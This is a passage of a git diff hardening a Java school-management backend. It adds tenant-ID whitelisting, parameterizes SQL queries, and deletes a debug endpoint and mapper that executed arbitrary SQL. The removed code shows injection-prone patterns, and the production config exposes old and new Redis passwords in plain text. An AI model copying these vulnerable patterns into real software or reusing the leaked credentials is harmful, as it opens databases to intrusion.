diff --git a/backend/ruoyi-admin/src/main/java/org/dromara/web/controller/AuthController.java b/backend/ruoyi-admin/src/main/java/org/dromara/web/controller/AuthController.java index 996fbed9..07757cb2 100644 --- a/backend/ruoyi-admin/src/main/java/org/dromara/web/controller/AuthController.java +++ b/backend/ruoyi-admin/src/main/java/org/dromara/web/controller/AuthController.java @@ -183,6 +183,8 @@ public class AuthController { @ApiEncrypt @PostMapping("/register") public R register(@Validated @RequestBody RegisterBody user) { + // 先校验租户（含格式白名单），禁止脏 tenantId 进入 selectRegisterEnabled 触发 SQL 注入 + loginService.checkTenant(user.getTenantId()); if (!configService.selectRegisterEnabled(user.getTenantId())) { return R.fail("当前系统没有开启注册功能！"); } diff --git a/backend/ruoyi-admin/src/main/java/org/dromara/web/service/SysLoginService.java b/backend/ruoyi-admin/src/main/java/org/dromara/web/service/SysLoginService.java index 41a802b4..7726ec52 100644 --- a/backend/ruoyi-admin/src/main/java/org/dromara/web/service/SysLoginService.java +++ b/backend/ruoyi-admin/src/main/java/org/dromara/web/service/SysLoginService.java @@ -231,6 +231,8 @@ public class SysLoginService { if (StringUtils.isBlank(tenantId)) { throw new TenantException("tenant.number.not.blank"); } + // 格式白名单，阻断恶意 tenantId 进入后续查询/动态租户 + TenantHelper.checkTenantIdFormat(tenantId); if (TenantConstants.DEFAULT_TENANT_ID.equals(tenantId)) { return; } diff --git a/backend/ruoyi-admin/src/main/resources/application-prod.yml b/backend/ruoyi-admin/src/main/resources/application-prod.yml index 6ce93392..c16b8817 100644 --- a/backend/ruoyi-admin/src/main/resources/application-prod.yml +++ b/backend/ruoyi-admin/src/main/resources/application-prod.yml @@ -107,7 +107,7 @@ spring.data: # 数据库索引 database: 3 # redis 密码必须配置 - password: Hzdyjs@redis@123456 + password: Hzdyschool@redis@15937 # 连接超时时间 timeout: 10s # 是否开启ssl diff --git a/backend/ruoyi-admin/src/main/resources/application.yml b/backend/ruoyi-admin/src/main/resources/application.yml index 999e406c..dab61975 100644 --- a/backend/ruoyi-admin/src/main/resources/application.yml +++ b/backend/ruoyi-admin/src/main/resources/application.yml @@ -164,6 +164,7 @@ tenant: - sys_user_role - sys_client - sys_oss_config + - sys_bucket_access_record - xljk_evaluation - xljk_evaluation_detail diff --git a/backend/ruoyi-admin/src/main/resources/i18n/messages.properties b/backend/ruoyi-admin/src/main/resources/i18n/messages.properties index cce11c85..06c5b642 100644 --- a/backend/ruoyi-admin/src/main/resources/i18n/messages.properties +++ b/backend/ruoyi-admin/src/main/resources/i18n/messages.properties @@ -56,6 +56,7 @@ social.code.not.blank=第三方登录平台[code]不能为空 social.state.not.blank=第三方登录平台[state]不能为空 ##租户 tenant.number.not.blank=租户编号不能为空 +tenant.id.invalid=租户编号格式不正确 tenant.not.exists=对不起, 您的租户不存在，请联系管理员 tenant.blocked=对不起，您的租户已禁用，请联系管理员 tenant.expired=对不起，您的租户已过期，请联系管理员 diff --git a/backend/ruoyi-admin/src/main/resources/i18n/messages_en_US.properties b/backend/ruoyi-admin/src/main/resources/i18n/messages_en_US.properties index f948c4ab..db3c8669 100644 --- a/backend/ruoyi-admin/src/main/resources/i18n/messages_en_US.properties +++ b/backend/ruoyi-admin/src/main/resources/i18n/messages_en_US.properties @@ -56,6 +56,7 @@ social.code.not.blank=Social login platform [code] cannot be blank social.state.not.blank=Social login platform [state] cannot be blank ##租户 tenant.number.not.blank=Tenant number cannot be blank +tenant.id.invalid=Invalid tenant number format tenant.not.exists=Sorry, your tenant does not exist. Please contact the administrator tenant.blocked=Sorry, your tenant is disabled. Please contact the administrator tenant.expired=Sorry, your tenant has expired. Please contact the administrator. diff --git a/backend/ruoyi-admin/src/main/resources/i18n/messages_zh_CN.properties b/backend/ruoyi-admin/src/main/resources/i18n/messages_zh_CN.properties index cce11c85..06c5b642 100644 --- a/backend/ruoyi-admin/src/main/resources/i18n/messages_zh_CN.properties +++ b/backend/ruoyi-admin/src/main/resources/i18n/messages_zh_CN.properties @@ -56,6 +56,7 @@ social.code.not.blank=第三方登录平台[code]不能为空 social.state.not.blank=第三方登录平台[state]不能为空 ##租户 tenant.number.not.blank=租户编号不能为空 +tenant.id.invalid=租户编号格式不正确 tenant.not.exists=对不起, 您的租户不存在，请联系管理员 tenant.blocked=对不起，您的租户已禁用，请联系管理员 tenant.expired=对不起，您的租户已过期，请联系管理员 diff --git a/backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/PlusTenantLineHandler.java b/backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/PlusTenantLineHandler.java index d518becb..fafa020e 100644 --- a/backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/PlusTenantLineHandler.java +++ b/backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/handle/PlusTenantLineHandler.java @@ -31,7 +31,8 @@ public class PlusTenantLineHandler implements TenantLineHandler { log.error("无法获取有效的租户id -> Null"); return new NullValue(); } - // 返回固定租户 + // sink 白名单：非法租户ID绝不拼进 SQL（防 SQL 注入） + TenantHelper.checkTenantIdFormat(tenantId); return new StringValue(tenantId); } diff --git a/backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/helper/TenantHelper.java b/backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/helper/TenantHelper.java index 4b6981a1..df524b28 100644 --- a/backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/helper/TenantHelper.java +++ b/backend/ruoyi-common/ruoyi-common-tenant/src/main/java/org/dromara/common/tenant/helper/TenantHelper.java @@ -16,9 +16,11 @@ import org.dromara.common.core.utils.StringUtils; import org.dromara.common.core.utils.reflect.ReflectUtils; import org.dromara.common.redis.utils.RedisUtils; import org.dromara.common.satoken.utils.LoginHelper; +import org.dromara.common.tenant.exception.TenantException; import java.util.Stack; import java.util.function.Supplier; +import java.util.regex.Pattern; /** * 租户助手 @@ -35,6 +37,12 @@ public class TenantHelper { private static final ThreadLocal> REENTRANT_IGNORE = ThreadLocal.withInitial(Stack::new); + /** + * 租户ID格式白名单：仅允许纯数字（与系统生成的 6 位租户编号及默认租户 000000 一致） + * 防止外部传入的 tenantId 被拼进 SQL 字面量导致注入 + */ + private static final Pattern TENANT_ID_PATTERN = Pattern.compile("^[0-9]{1,20}$"); + /** * 租户功能是否启用 */ @@ -42,6 +50,30 @@ public class TenantHelper { return Convert.toBool(SpringUtils.getProperty("tenant.enable"), false); } + /** + * 校验租户ID格式是否合法（白名单） + * + * @param tenantId 租户ID + * @return true 合法 + */ + public static boolean isValidTenantId(String tenantId) { + return StringUtils.isNotBlank(tenantId) && TENANT_ID_PATTERN.matcher(tenantId).matches(); + } + + /** + * 校验租户ID格式，非法则抛出异常（fail-closed，不降级继续拼 SQL） + * + * @param tenantId 租户ID + */ + public static void checkTenantIdFormat(String tenantId) { + if (!isValidTenantId(tenantId)) { + String safe = tenantId == null ? "null" + : tenantId.length() > 64 ? tenantId.substring(0, 64) + "..." : tenantId; + log.error("租户ID格式非法，已阻断: [{}]", safe); + throw new TenantException("tenant.id.invalid"); + } + } + private static IgnoreStrategy getIgnoreStrategy() { Object ignoreStrategyLocal = ReflectUtils.getStaticFieldValue(ReflectUtils.getField(InterceptorIgnoreHelper.class, "IGNORE_STRATEGY_LOCAL")); if (ignoreStrategyLocal instanceof ThreadLocal IGNORE_STRATEGY_LOCAL) { @@ -131,6 +163,8 @@ public class TenantHelper { if (!isEnable()) { return; } + // 动态租户一律做格式白名单校验，覆盖 login/register/config 等所有 TenantHelper.dynamic 入口 + checkTenantIdFormat(tenantId); if (!LoginHelper.isLogin() || !global) { TEMP_DYNAMIC_TENANT.set(tenantId); return; diff --git a/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/config/DbInitializer.java b/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/config/DbInitializer.java deleted file mode 100644 index aebb3a0e..00000000 --- a/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/config/DbInitializer.java +++ /dev/null @@ -1,35 +0,0 @@ -package org.dromara.rs.config; - -import org.dromara.rs.util.SqlScriptRunner; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.boot.CommandLineRunner; -import org.springframework.stereotype.Component; - -/** - * 数据库初始化器，在应用启动时执行SQL脚本 - */ -@Component -public class DbInitializer implements CommandLineRunner { - - private static final Logger logger = LoggerFactory.getLogger(DbInitializer.class); - - @Autowired - private SqlScriptRunner sqlScriptRunner; - - @Override - public void run(String... args) throws Exception { - try { - // 吴自龙 注释了 - // logger.info("开始执行数据库升级脚本..."); - // 执行升级脚本 - // sqlScriptRunner.executeScript("mapper/rs/update-rs-application-table.sql"); - // logger.info("数据库升级脚本执行完成"); - } catch (Exception e) { - logger.error("执行数据库升级脚本失败", e); - // 这里选择记录错误但不中断应用启动，因为可能是表结构已经更新过 - // 如果需要严格控制，可以抛出异常中断应用启动 - } - } -} diff --git a/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/controller/SqlUpdateController.java b/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/controller/SqlUpdateController.java deleted file mode 100644 index d30ba72a..00000000 --- a/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/controller/SqlUpdateController.java +++ /dev/null @@ -1,91 +0,0 @@ -package org.dromara.rs.controller; - -import org.dromara.common.core.domain.R; -// import org.dromara.rs.mapper.RsSystemMapper; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import java.io.BufferedReader; -import java.io.InputStream; -import java.io.InputStreamReader; -import java.util.HashMap; -import java.util.Map; - -/** - * SQL更新控制器 - * - * @author weizzzz - * @date 2025-07-24 - */ -@RestController -@RequestMapping("/rs/db") -public class SqlUpdateController { - - // 编译不过，吴自龙注释， - // @Autowired - // private RsSystemMapper rsSystemMapper; - - /** - * 执行培训模块SQL更新脚本 - */ - // @GetMapping("/update/training") - // public R> executeTrainingUpdateScript() { - // Map result = new HashMap<>(); - // try { - // // 读取SQL脚本 - // InputStream is = - // getClass().getClassLoader().getResourceAsStream("mapper/rs/training-update.sql"); - // if (is == null) { - // result.put("success", false); - // result.put("message", "SQL脚本文件不存在"); - // return R.ok(result); - // } - - // // 解析SQL语句 - // BufferedReader reader = new BufferedReader(new InputStreamReader(is)); - // StringBuilder sb = new StringBuilder(); - // String line; - // while ((line = reader.readLine()) != null) { - // // 忽略注释行 - // if (line.trim().startsWith("--") || line.trim().isEmpty()) { - // continue; - // } - // sb.append(line); - - // // 如果是SQL语句结束 - // if (line.trim().endsWith(";")) { - // String sql = sb.toString().trim(); - // if (sql.endsWith(";")) { - // sql = sql.substring(0, sql.length() - 1); // 移除分号，MyBatis会自动处理 - // } - // executeSql(sql); - // sb = new StringBuilder(); - // } - // } - - // result.put("success", true); - // result.put("message", "SQL脚本执行成功"); - // return R.ok(result); - // } catch (Exception e) { - // e.printStackTrace(); - // result.put("success", false); - // result.put("message", "执行SQL脚本出错: " + e.getMessage()); - // return R.fail("执行SQL脚本出错: " + e.getMessage()); - // } - // } - - //// 编译不过，吴自龙注释， - /** - * 执行单条SQL语句 - */ - // private void executeSql(String sql) { - // try { - // rsSystemMapper.executeSql(sql); - // } catch (Exception e) { - // // 记录错误但继续执行 - // System.out.println("SQL执行警告: " + e.getMessage()); - // } - // } -} diff --git a/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/mapper/RsSystemMapper.java b/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/mapper/RsSystemMapper.java deleted file mode 100644 index 7cc777a2..00000000 --- a/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/mapper/RsSystemMapper.java +++ /dev/null @@ -1,25 +0,0 @@ -package org.dromara.rs.mapper; - -import org.apache.ibatis.annotations.Mapper; -import org.apache.ibatis.annotations.Update; -import org.apache.ibatis.annotations.Param; - -/** - * 人事管理系统SQL执行Mapper - * 用于替代直接的数据库连接操作 - * - * @author ruoyi - * @date 2025-08-05 - */ -@Mapper -public interface RsSystemMapper { - - /** - * 执行SQL语句 - * - * @param sql SQL语句 - * @return 影响的行数 - */ - @Update("${sql}") - int executeSql(@Param("sql") String sql); -} \ No newline at end of file diff --git a/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/util/SqlScriptRunner.java b/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/util/SqlScriptRunner.java deleted file mode 100644 index 0f597541..00000000 --- a/backend/ruoyi-modules/ruoyi-rs/src/main/java/org/dromara/rs/util/SqlScriptRunner.java +++ /dev/null @@ -1,57 +0,0 @@ -package org.dromara.rs.util; - -// import org.dromara.rs.mapper.RsSystemMapper; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.core.io.ClassPathResource; -import org.springframework.stereotype.Component; - -import java.io.BufferedReader; -import java.io.InputStreamReader; - -/** - * SQL脚本执行工具 - */ -@Component -public class SqlScriptRunner { - - // 吴自龙注释，编译不过 - // @Autowired - // private RsSystemMapper rsSystemMapper; - - // /** - // * 执行SQL脚本 - // * - // * @param scriptPath 脚本路径（相对于classpath） - // * @throws Exception 执行异常 - // */ - // public void executeScript(String scriptPath) throws Exception { - // ClassPathResource resource = new ClassPathResource(scriptPath); - // try (BufferedReader reader = new BufferedReader(new - // InputStreamReader(resource.getInputStream()))) { - // StringBuilder sb = new StringBuilder(); - // String line; - // while ((line = reader.readLine()) != null) { - // // 忽略注释行和空行 - // if (line.trim().startsWith("--") || line.trim().isEmpty()) { - // continue; - // } - // sb.append(line); - - // // 如果是SQL语句结束 - // if (line.trim().endsWith(";")) { - // String sql = sb.toString().trim(); - // if (sql.endsWith(";")) { - // sql = sql.substring(0, sql.length() - 1); // 移除分号，MyBatis会自动处理 - // } - // try { - // rsSystemMapper.executeSql(sql); - // } catch (Exception e) { - // // 记录错误但继续执行 - // System.out.println("SQL执行警告: " + e.getMessage()); - // } - // sb = new StringBuilder(); - // } - // } - // } - // } -} diff --git a/backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysBucketAccessRecord.java b/backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysBucketAccessRecord.java index 4dd4d0f3..3b0d42b7 100644 --- a/backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysBucketAccessRecord.java +++ b/backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/SysBucketAccessRecord.java @@ -1,23 +1,26 @@ package org.dromara.system.domain; -import com.baomidou.mybatisplus.annotation.*; +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.baomidou.mybatisplus.annotation.TableId; +import com.baomidou.mybatisplus.annotation.TableName; import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.tenant.core.TenantEntity; import java.io.Serial; +import java.io.Serializable; import java.util.Date; /** * bucket访问记录对象 sys_bucket_access_record + *

+ * 该表无 tenant_id 字段，不继承 TenantEntity，避免租户插件/字段填充写不存在的列。 * * @author Lion Li * @date 2025-01-27 */ @Data -@EqualsAndHashCode(callSuper = true) @TableName("sys_bucket_access_record") -public class SysBucketAccessRecord extends TenantEntity { +public class SysBucketAccessRecord implements Serializable { @Serial private static final long serialVersionUID = 1L; diff --git a/backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysBucketAccessPasswordServiceImpl.java b/backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysBucketAccessPasswordServiceImpl.java index 35af47ad..781aa038 100644 --- a/backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysBucketAccessPasswordServiceImpl.java +++ b/backend/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/impl/SysBucketAccessPasswordServiceImpl.java @@ -4,6 +4,7 @@ import cn.hutool.core.util.StrUtil; import cn.hutool.crypto.digest.DigestUtil; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.dromara.common.core.exception.ServiceException; @@ -192,9 +193,8 @@ public class SysBucketAccessPasswordServiceImpl implements ISysBucketAccessPassw LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); wrapper.eq(SysBucketAccessRecord::getBucketName, bucketName); wrapper.orderByDesc(SysBucketAccessRecord::getAccessTime); - wrapper.last("LIMIT " + limit); - - return recordMapper.selectList(wrapper); + int safeLimit = limit <= 0 ? 10 : Math.min(limit, 500); + return recordMapper.selectPage(new Page<>(1, safeLimit), wrapper).getRecords(); } catch (Exception e) { log.error("获取bucket访问记录失败: {}", e.getMessage(), e); return List.of(); diff --git a/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgDormManagerServiceImpl.java b/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgDormManagerServiceImpl.java index 26527872..fb577149 100644 --- a/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgDormManagerServiceImpl.java +++ b/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgDormManagerServiceImpl.java @@ -89,10 +89,12 @@ public class XgDormManagerServiceImpl implements IXgDormManagerService { sql.append("INNER JOIN sys_user_role ur ON u.user_id = ur.user_id "); sql.append("INNER JOIN sys_role r ON ur.role_id = r.role_id "); sql.append( - "WHERE (r.role_key = 'teacher' or u.account_type='1') AND u.status = '0' and not exists (select 1 from xg_dorm_manager where user_id = u.user_id and deleted = '0' and manager_type = '" - + managerType + "') "); + "WHERE (r.role_key = 'teacher' or u.account_type='1') AND u.status = '0' "); + sql.append( + "and not exists (select 1 from xg_dorm_manager where user_id = u.user_id and deleted = '0' and manager_type = ?) "); List params = new ArrayList<>(); + params.add(managerType); if (StringUtils.isNotBlank(name)) { sql.append("AND u.nick_name LIKE ? "); @@ -102,11 +104,7 @@ public class XgDormManagerServiceImpl implements IXgDormManagerService { sql.append("ORDER BY u.user_name ASC, u.nick_name"); try { - if (params.isEmpty()) { - return jdbcTemplate.queryForList(sql.toString()); - } else { - return jdbcTemplate.queryForList(sql.toString(), params.toArray()); - } + return jdbcTemplate.queryForList(sql.toString(), params.toArray()); } catch (Exception e) { log.error("查询教师列表异常", e); return new ArrayList<>(); diff --git a/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentServiceImpl.java b/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentServiceImpl.java index b61f2842..d247ff61 100644 --- a/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentServiceImpl.java +++ b/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentServiceImpl.java @@ -68,8 +68,9 @@ public class XgStudentServiceImpl implements IXgStudentService { lqw.like(StringUtils.isNotBlank(name), XgStudentMsg::getName, name); lqw.eq(XgStudentMsg::getStudentStatus, "1"); // 只查询在籍学生 lqw.orderByDesc(XgStudentMsg::getStudentNo); - lqw.last("LIMIT " + (limit != null ? limit : 10)); - return baseMapper.selectVoList(lqw); + int safeLimit = (limit == null || limit <= 0) ? 10 : Math.min(limit, 100); + Page page = baseMapper.selectVoPage(new Page<>(1, safeLimit), lqw); + return page.getRecords(); } /** diff --git a/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentStatusChangeServiceImpl.java b/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentStatusChangeServiceImpl.java index 22d716c7..fb9dbe90 100644 --- a/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentStatusChangeServiceImpl.java +++ b/backend/ruoyi-modules/ruoyi-xg/src/main/java/org/dromara/xg/service/impl/XgStudentStatusChangeServiceImpl.java @@ -78,16 +78,17 @@ public class XgStudentStatusChangeServiceImpl implements IXgStudentStatusChangeS private LambdaQueryWrapper buildQueryWrapper(XgStudentStatusChangeBo bo) { LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(bo.getId() != null, XgStudentStatusChange::getId, bo.getId()); - lqw.eq(bo.getStudentId() != null, XgStudentStatusChange::getStudentId, bo.getStudentId()); - lqw.like(StringUtils.isNotBlank(bo.getStudentNo()), XgStudentStatusChange::getStudentNo, bo.getStudentNo()); - lqw.eq(StringUtils.isNotBlank(bo.getChangeType()), XgStudentStatusChange::getChangeType, bo.getChangeType()); - lqw.eq(bo.getEffectiveDate() != null, XgStudentStatusChange::getEffectiveDate, bo.getEffectiveDate()); - lqw.like(StringUtils.isNotBlank(bo.getReason()), XgStudentStatusChange::getReason, bo.getReason()); - lqw.eq(bo.getOperatorId() != null, XgStudentStatusChange::getOperatorId, bo.getOperatorId()); - lqw.like(StringUtils.isNotBlank(bo.getOperatorName()), XgStudentStatusChange::getOperatorName, bo.getOperatorName()); - lqw.eq(StringUtils.isNotBlank(bo.getSource()), XgStudentStatusChange::getSource, bo.getSource()); - lqw.eq(bo.getProcessStatus() != null, XgStudentStatusChange::getProcessStatus, bo.getProcessStatus()); + // JOIN 查询需带表别名，避免 student_no / create_time 等字段歧义 + lqw.apply(bo.getId() != null, "c.id = {0}", bo.getId()); + lqw.apply(bo.getStudentId() != null, "c.student_id = {0}", bo.getStudentId()); + lqw.apply(StringUtils.isNotBlank(bo.getStudentNo()), "c.student_no LIKE CONCAT('%', {0}, '%')", bo.getStudentNo()); + lqw.apply(StringUtils.isNotBlank(bo.getChangeType()), "c.change_type = {0}", bo.getChangeType()); + lqw.apply(bo.getEffectiveDate() != null, "c.effective_date = {0}", bo.getEffectiveDate()); + lqw.apply(StringUtils.isNotBlank(bo.getReason()), "c.reason LIKE CONCAT('%', {0}, '%')", bo.getReason()); + lqw.apply(bo.getOperatorId() != null, "c.operator_id = {0}", bo.getOperatorId()); + lqw.apply(StringUtils.isNotBlank(bo.getOperatorName()), "c.operator_name LIKE CONCAT('%', {0}, '%')", bo.getOperatorName()); + lqw.apply(StringUtils.isNotBlank(bo.getSource()), "c.source = {0}", bo.getSource()); + lqw.apply(bo.getProcessStatus() != null, "c.process_status = {0}", bo.getProcessStatus()); return lqw; } diff --git a/backend/ruoyi-modules/ruoyi-xg/src/main/resources/mapper/studentStatusChange/XgStudentStatusChangeMapper.xml b/backend/ruoyi-modules/ruoyi-xg/src/main/resources/mapper/studentStatusChange/XgStudentStatusChangeMapper.xml index a7142f2a..bf77fe21 100644 --- a/backend/ruoyi-modules/ruoyi-xg/src/main/resources/mapper/studentStatusChange/XgStudentStatusChangeMapper.xml +++ b/backend/ruoyi-modules/ruoyi-xg/src/main/resources/mapper/studentStatusChange/XgStudentStatusChangeMapper.xml @@ -39,9 +39,16 @@ PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" where c.deleted = 0 + + + + AND ${ew.sqlSegment} + + + - ${ew.getCustomSqlSegment} + diff --git a/backend/ruoyi-modules/ruoyi-xljk/src/main/java/org/dromara/xljk/controller/XljkConsultationDebugController.java b/backend/ruoyi-modules/ruoyi-xljk/src/main/java/org/dromara/xljk/controller/XljkConsultationDebugController.java deleted file mode 100644 index 1ecb218b..00000000 --- a/backend/ruoyi-modules/ruoyi-xljk/src/main/java/org/dromara/xljk/controller/XljkConsultationDebugController.java +++ /dev/null @@ -1,88 +0,0 @@ -package org.dromara.xljk.controller; - -import org.dromara.common.core.domain.R; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.jdbc.core.JdbcTemplate; -import org.springframework.web.bind.annotation.*; - -import java.util.List; -import java.util.Map; - -/** - * 心理咨询预约调试控制器 - * 注意：此控制器仅用于开发环境调试，生产环境应该移除 - */ -@RestController -@RequestMapping("/xljk/consultation/debug") -public class XljkConsultationDebugController { - - @Autowired - private JdbcTemplate jdbcTemplate; - - /** - * 执行SQL查询 - * - * @param params 包含SQL语句的参数对象 - * @return 查询结果 - */ - @PostMapping("/execute-sql") - public R>> executeSql(@RequestBody Map params) { - try { - String sql = params.get("sql"); - if (sql == null || sql.trim().isEmpty()) { - return R.fail("SQL语句不能为空"); - } - - // 安全检查，只允许SELECT语句 - sql = sql.trim(); - if (!sql.toLowerCase().startsWith("select")) { - return R.fail("只允许执行SELECT语句"); - } - - List> result = jdbcTemplate.queryForList(sql); - return R.ok(result); - } catch (Exception e) { - return R.fail("执行SQL失败: " + e.getMessage()); - } - } - - /** - * 查询学生预约记录 - * - * @param studentId 学生ID - * @return 预约记录 - */ - @GetMapping("/appointments/{studentId}") - public R>> getAppointmentsByStudentId(@PathVariable("studentId") String studentId) { - try { - String sql = "SELECT * FROM xljk_consultation_appointment WHERE student_id = ?"; - List> result = jdbcTemplate.queryForList(sql, studentId); - return R.ok(result); - } catch (Exception e) { - return R.fail("查询失败: " + e.getMessage()); - } - } - - /** - * 查询学生信息 - * - * @param studentNo 学号 - * @return 学生信息 - */ - @GetMapping("/student/{studentNo}") - public R> getStudentInfo(@PathVariable("studentNo") String studentNo) { - try { - // 这里假设学生信息存储在sys_user表中，可能需要根据实际情况调整 - String sql = "SELECT * FROM sys_user WHERE user_name = ?"; - List> result = jdbcTemplate.queryForList(sql, studentNo); - - if (result.isEmpty()) { - return R.fail("未找到该学号的学生信息"); - } - - return R.ok(result.get(0)); - } catch (Exception e) { - return R.fail("查询失败: " + e.getMessage()); - } - } -} \ No newline at end of file diff --git a/backend/ruoyi-modules/ruoyi-xljk/src/main/java/org/dromara/xljk/service/impl/XljkConsultationAppointmentServiceImpl.java b/backend/ruoyi-modules/ruoyi-xljk/src/main/java/org/dromara/xljk/service/impl/XljkConsultationAppointmentServiceImpl.java index e78ace86..17a399cf 100644 --- a/backend/ruoyi-modules/ruoyi-xljk/src/main/java/org/dromara/xljk/service/impl/XljkConsultationAppointmentServiceImpl.java +++ b/backend/ruoyi-modules/ruoyi-xljk/src/main/java/org/dromara/xljk/service/impl/XljkConsultationAppointmentServiceImpl.java @@ -80,15 +80,15 @@ public class XljkConsultationAppointmentServiceImpl implements IXljkConsultation vo.getConsultationContent() != null ? vo.getConsultationContent().length() : 0, vo.getCounselorSuggestion() != null ? vo.getCounselorSuggestion().length() : 0); - // 使用与selectList相同的方式查询关联信息 + // 使用参数化查询关联信息，避免 ID 拼接进 SQL String sql = "SELECT s.name as student_name, s.student_no, s.class_name, s.college_name, s.major_name, " + "u.nick_name as counselor_name " + "FROM xg_student_msg s " + - "LEFT JOIN sys_user u ON u.user_id = " + entity.getCounselorId() + " " + - "WHERE s.id = " + entity.getStudentId(); + "LEFT JOIN sys_user u ON u.user_id = ? " + + "WHERE s.id = ?"; try { - Map result = jdbcTemplate.queryForMap(sql); + Map result = jdbcTemplate.queryForMap(sql, entity.getCounselorId(), entity.getStudentId()); log.info("关联查询结果: {}", result); // 填充关联信息 @@ -103,9 +103,8 @@ public class XljkConsultationAppointmentServiceImpl implements IXljkConsultation // 如果关联查询失败，尝试分别查询 try { // 查询学生信息 - String studentSql = "SELECT name, student_no, class_name, college_name, major_name FROM xg_student_msg WHERE id = " - + entity.getStudentId(); - Map studentInfo = jdbcTemplate.queryForMap(studentSql); + String studentSql = "SELECT name, student_no, class_name, college_name, major_name FROM xg_student_msg WHERE id = ?"; + Map studentInfo = jdbcTemplate.queryForMap(studentSql, entity.getStudentId()); log.info("学生信息查询结果: {}", studentInfo); vo.setStudentName((String) studentInfo.get("name")); @@ -692,11 +691,13 @@ public class XljkConsultationAppointmentServiceImpl implements IXljkConsultation log.info("获取学生预约记录，studentId: {}", studentId); // 使用原生SQL查询以绕过MyBatis缓存，确保获取最新数据 - String sql = "SELECT a.*, u.nick_name AS counselor_name " + + // 预约表无 student_no，学号从学生表关联；排序按预约日期 + String sql = "SELECT a.*, u.nick_name AS counselor_name, s.student_no " + "FROM xljk_consultation_appointment a " + "LEFT JOIN sys_user u ON a.counselor_id = u.user_id " + + "LEFT JOIN xg_student_msg s ON a.student_id = s.id " + "WHERE a.student_id = ? AND a.deleted = 0 " + - "ORDER BY a.student_no DESC, a.id DESC, a.create_time DESC"; + "ORDER BY a.appointment_date DESC, a.id DESC, a.create_time DESC"; List result = new ArrayList<>(); @@ -711,6 +712,8 @@ public class XljkConsultationAppointmentServiceImpl implements IXljkConsultation vo.setId(((Number) row.get("id")).longValue()); vo.setStudentId(((Number) row.get("student_id")).longValue()); vo.setStudentNo((String) row.get("student_no")); + // 预约表自带姓名；学号来自学生表关联（可能为空） + vo.setStudentName((String) row.get("student_name")); vo.setAppointmentDate(convertToDate(row.get("appointment_date"))); vo.setAppointmentTime((String) row.get("appointment_time")); vo.setAppointmentDetailTime((String) row.get("appointment_detail_time")); diff --git a/backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/mapper/XskhDisciplineRecordMapper.java b/backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/mapper/XskhDisciplineRecordMapper.java index c93965ff..b4c3a016 100644 --- a/backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/mapper/XskhDisciplineRecordMapper.java +++ b/backend/ruoyi-modules/ruoyi-xskh/src/main/java/org/dromara/xskh/mapper/XskhDisciplineRecordMapper.java @@ -23,12 +23,12 @@ public interface 